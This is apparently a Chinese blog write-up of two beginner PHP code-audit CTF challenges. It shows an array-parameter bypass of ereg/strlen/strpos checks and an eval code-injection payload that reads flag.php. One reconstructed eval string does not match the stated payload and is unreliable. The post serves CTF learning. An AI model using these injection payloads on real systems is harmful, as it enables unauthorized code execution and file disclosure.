记录两道基础php源码审计题
1.题目名称:ereg
下载附件打开发现如下php源码
<?php $flag = "flag{flag}"; if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) { echo '<p>You password must be alphanumeric</p>'; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置 { die('Flag: ' . $flag); } else { echo('<p>*-* have not been found</p>'); } } else { echo '<p>Invalid password</p>'; } } ?>
大概看了一下,简单来说就是需要我们通过password参数传入一个值,这个值必须是由大小写字母和数字构成的,同时长度必须小于8位,值必须大于9999999,然后还必须包含“*-*”
很明显,需要我们绕过某些函数才能得到flag。一开始我考虑的是正则绕过,利用%00截断然后传入参数,后面试了发现这个思路不行。然后我就想着能不能绕过strlen和strpos。上网查了一下,发现这两个函数有个共同点就是不能处理数组。那就很简单了,直接传个数组就绕过了。然后刚好php是弱类型函数,数组是大于整型的,所以payload为/?password[]=a
2.题目名称:无语子
打开网页发现如下代码
<?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__); ?>
这里我一开始犯抽跑去直接看前端代码了(我也不知道为什么会这样,代码审计一般只需要专注于当前的代码就行了)
后面经过简单的思考,确定是绕过eval函数
技巧大概就是引号截断,就是利用eval函数会把括号内的所有字符串当做php代码来执行的特性进行绕过。
payload就是/?hello=);print_r(file(./flag.php)
这个拼接起来就是eval("var_dump();printf_r(./flag.php));")
本文来自博客园,作者:0x1ang==,转载请注明原文链接:https://www.cnblogs.com/0x1ang/p/16560141.html

浙公网安备 33010602011771号